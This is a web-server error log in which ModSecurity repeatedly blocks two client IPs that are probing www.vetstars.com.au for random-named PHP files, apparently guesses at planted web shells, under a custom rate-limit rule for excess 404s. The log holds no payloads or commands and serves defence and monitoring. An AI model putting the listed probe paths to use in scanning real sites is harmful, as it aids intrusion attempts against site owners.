[Mon Apr 13 17:04:03.603029 2026] [:error] [pid 7228:tid 7246] [client 20.100.201.121:65176] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxgwEnn1dQrOSHHNVWqQAAARA"]
[Mon Apr 13 17:04:03.779119 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:63658] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyxgzDO3t8R5NaxzYTNcQAAAUI"]
[Mon Apr 13 17:04:04.680107 2026] [:error] [pid 7228:tid 7243] [client 20.100.201.121:65115] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/blqjs.php"] [unique_id "adyxhAEnn1dQrOSHHNVWqwAAAQ0"]
[Mon Apr 13 17:04:04.884016 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:64086] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxhAEnn1dQrOSHHNVWrAAAARY"]
[Mon Apr 13 17:04:05.608919 2026] [:error] [pid 63309:tid 63330] [client 20.100.201.121:64580] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyxhUpIKZ10weXpf0UBagAAABE"]
[Mon Apr 13 17:04:06.811473 2026] [:error] [pid 63309:tid 63324] [client 20.100.201.121:65100] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyxhkpIKZ10weXpf0UBcgAAAAs"]
[Mon Apr 13 17:04:07.918769 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:64639] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyxh6HjrGN1MqBCVFnOlQAAAIU"]
[Mon Apr 13 17:04:07.944162 2026] [:error] [pid 63406:tid 63413] [client 20.100.201.121:63716] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxh7HZEIkQ0Zmgp5oUpAAAAMI"]
[Mon Apr 13 17:04:08.646048 2026] [:error] [pid 63309:tid 63327] [client 20.100.201.121:64163] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sk25_1.php"] [unique_id "adyxiEpIKZ10weXpf0UBeAAAAA4"]
[Mon Apr 13 17:04:09.178006 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:65159] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyxiTDO3t8R5NaxzYTNdwAAAUk"]
[Mon Apr 13 17:04:09.959952 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:64179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyxiTDO3t8R5NaxzYTNfgAAAUI"]
[Mon Apr 13 17:04:10.571490 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:65138] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyxirHZEIkQ0Zmgp5oUqAAAANI"]
[Mon Apr 13 17:04:12.035556 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:63166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fetch.php"] [unique_id "adyxjLHZEIkQ0Zmgp5oUrgAAANA"]
[Mon Apr 13 17:04:13.571398 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:65112] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxjbHZEIkQ0Zmgp5oUsgAAAM0"]
[Mon Apr 13 17:04:14.729986 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:64070] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyxjm_r4W8fX2GWyGTEuAAAAZU"]
[Mon Apr 13 17:04:16.264523 2026] [:error] [pid 63311:tid 63387] [client 20.100.201.121:64146] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyxkKHjrGN1MqBCVFnOnAAAAJA"]
[Mon Apr 13 17:04:17.207293 2026] [:error] [pid 9314:tid 9326] [client 20.100.201.121:65168] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxkW_r4W8fX2GWyGTEvgAAAYo"]
[Mon Apr 13 17:04:17.987736 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:65123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxkW_r4W8fX2GWyGTExQAAAZg"]
[Mon Apr 13 17:04:18.594384 2026] [:error] [pid 63311:tid 63374] [client 20.100.201.121:64142] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyxkqHjrGN1MqBCVFnOoQAAAIM"]
[Mon Apr 13 17:04:19.987945 2026] [:error] [pid 63310:tid 63347] [client 20.100.201.121:63173] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adyxk3oXpRU5ztmwPjIt1AAAAEM"]
[Mon Apr 13 17:04:20.442512 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:65102] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxlG_r4W8fX2GWyGTEzQAAAY4"]
[Mon Apr 13 17:04:20.583377 2026] [:error] [pid 9314:tid 9327] [client 20.100.201.121:65212] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adyxlG_r4W8fX2GWyGTEzgAAAYs"]
[Mon Apr 13 17:04:41.816084 2026] [:error] [pid 63406:tid 63421] [client 20.240.142.13:61630] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxqbHZEIkQ0Zmgp5oVTgAAAMo"]
[Mon Apr 13 17:04:43.254654 2026] [:error] [pid 63310:tid 63359] [client 20.240.142.13:60540] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxq3oXpRU5ztmwPjIt4AAAAE8"]
[Mon Apr 13 17:04:44.602112 2026] [:error] [pid 63310:tid 63345] [client 20.240.142.13:60453] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxrHoXpRU5ztmwPjIt5QAAAEE"]
[Mon Apr 13 17:04:45.401869 2026] [:error] [pid 57183:tid 57205] [client 20.240.142.13:61607] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adyxrTDO3t8R5NaxzYTNoAAAAVQ"]
[Mon Apr 13 17:04:46.750667 2026] [:error] [pid 57183:tid 57208] [client 20.240.142.13:61577] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxrjDO3t8R5NaxzYTNpgAAAVc"]
[Mon Apr 13 17:04:48.268498 2026] [:error] [pid 63406:tid 63426] [client 20.240.142.13:61617] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxsLHZEIkQ0Zmgp5oVeQAAAM8"]
[Mon Apr 13 17:04:49.478205 2026] [:error] [pid 63406:tid 63411] [client 20.240.142.13:60472] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxsbHZEIkQ0Zmgp5oVhgAAAMA"]
[Mon Apr 13 17:04:51.071979 2026] [:error] [pid 57183:tid 57187] [client 20.240.142.13:61576] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adyxszDO3t8R5NaxzYTNrwAAAUI"]
[Mon Apr 13 17:04:53.732515 2026] [:error] [pid 63311:tid 63376] [client 20.240.142.13:61570] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxtaHjrGN1MqBCVFnOvgAAAIU"]
[Mon Apr 13 17:04:55.907105 2026] [:error] [pid 9314:tid 9327] [client 20.240.142.13:59886] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxt2_r4W8fX2GWyGTE_AAAAYs"]
[Mon Apr 13 17:04:57.917597 2026] [:error] [pid 63406:tid 63428] [client 20.240.142.13:62739] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxubHZEIkQ0Zmgp5oVzAAAANE"]
[Mon Apr 13 17:04:59.803365 2026] [:error] [pid 63311:tid 63375] [client 20.240.142.13:60491] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/beerd.php"] [unique_id "adyxu6HjrGN1MqBCVFnOwQAAAIQ"]
[Mon Apr 13 17:05:01.688651 2026] [:error] [pid 63406:tid 63430] [client 20.240.142.13:60704] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxvbHZEIkQ0Zmgp5oV1gAAANM"]
[Mon Apr 13 17:05:03.557062 2026] [:error] [pid 63406:tid 63417] [client 20.240.142.13:59866] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxv7HZEIkQ0Zmgp5oV3QAAAMY"]
[Mon Apr 13 17:05:04.163694 2026] [:error] [pid 63406:tid 63425] [client 20.240.142.13:61615] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxwLHZEIkQ0Zmgp5oV4gAAAM4"]
[Mon Apr 13 17:05:05.840060 2026] [:error] [pid 7228:tid 7239] [client 20.240.142.13:59889] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adyxwQEnn1dQrOSHHNVWwAAAAQk"]
[Mon Apr 13 17:05:07.401504 2026] [:error] [pid 63309:tid 63329] [client 20.240.142.13:59890] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxw0pIKZ10weXpf0UBngAAABA"]
[Mon Apr 13 17:05:08.653040 2026] [:error] [pid 63406:tid 63419] [client 20.240.142.13:59843] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxxLHZEIkQ0Zmgp5oV6wAAAMg"]
[Mon Apr 13 17:05:10.394914 2026] [:error] [pid 63311:tid 63393] [client 20.240.142.13:60506] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxxqHjrGN1MqBCVFnOzAAAAJY"]
[Mon Apr 13 17:05:12.210363 2026] [:error] [pid 9314:tid 9338] [client 20.240.142.13:59891] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adyxyG_r4W8fX2GWyGTFTgAAAZY"]
[Mon Apr 13 17:05:13.740952 2026] [:error] [pid 9314:tid 9332] [client 20.240.142.13:60429] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxyW_r4W8fX2GWyGTFUgAAAZA"]
[Mon Apr 13 17:05:16.107439 2026] [:error] [pid 57183:tid 57208] [client 20.240.142.13:60441] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxzDDO3t8R5NaxzYTN6QAAAVc"]
[Mon Apr 13 17:05:17.324757 2026] [:error] [pid 57183:tid 57202] [client 20.240.142.13:59864] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxzTDO3t8R5NaxzYTN7QAAAVE"]
[Mon Apr 13 17:05:18.442398 2026] [:error] [pid 9314:tid 9333] [client 20.240.142.13:60456] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws80.php"] [unique_id "adyxzm_r4W8fX2GWyGTFXQAAAZE"]
[Mon Apr 13 17:05:19.655769 2026] [:error] [pid 7228:tid 7243] [client 20.240.142.13:59877] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyxzwEnn1dQrOSHHNVW-gAAAQ0"]
[Mon Apr 13 17:05:20.941274 2026] [:error] [pid 63309:tid 63313] [client 20.240.142.13:59879] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyx0EpIKZ10weXpf0UBoQAAAAA"]
[Mon Apr 13 17:05:21.847075 2026] [:error] [pid 9314:tid 9316] [client 20.240.142.13:59894] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyx0W_r4W8fX2GWyGTFYwAAAYA"]
[Mon Apr 13 17:05:22.495939 2026] [:error] [pid 57183:tid 57204] [client 20.240.142.13:61594] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adyx0jDO3t8R5NaxzYTN9AAAAVM"]
[Mon Apr 13 17:05:23.339410 2026] [:error] [pid 57183:tid 57200] [client 20.240.142.13:60700] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx0zDO3t8R5NaxzYTN-AAAAU8"]
[Mon Apr 13 17:05:24.055539 2026] [:error] [pid 63310:tid 63347] [client 20.240.142.13:60690] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx1HoXpRU5ztmwPjIt9QAAAEM"]
[Mon Apr 13 17:05:24.985438 2026] [:error] [pid 63310:tid 63345] [client 20.240.142.13:59887] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx1HoXpRU5ztmwPjIt9gAAAEE"]
[Mon Apr 13 17:05:26.182730 2026] [:error] [pid 7228:tid 7233] [client 20.240.142.13:62734] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/RIP.php"] [unique_id "adyx1gEnn1dQrOSHHNVXGQAAAQM"]
[Mon Apr 13 17:05:27.187873 2026] [:error] [pid 9314:tid 9328] [client 20.240.142.13:60420] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no18.php"] [unique_id "adyx12_r4W8fX2GWyGTFdAAAAYw"]
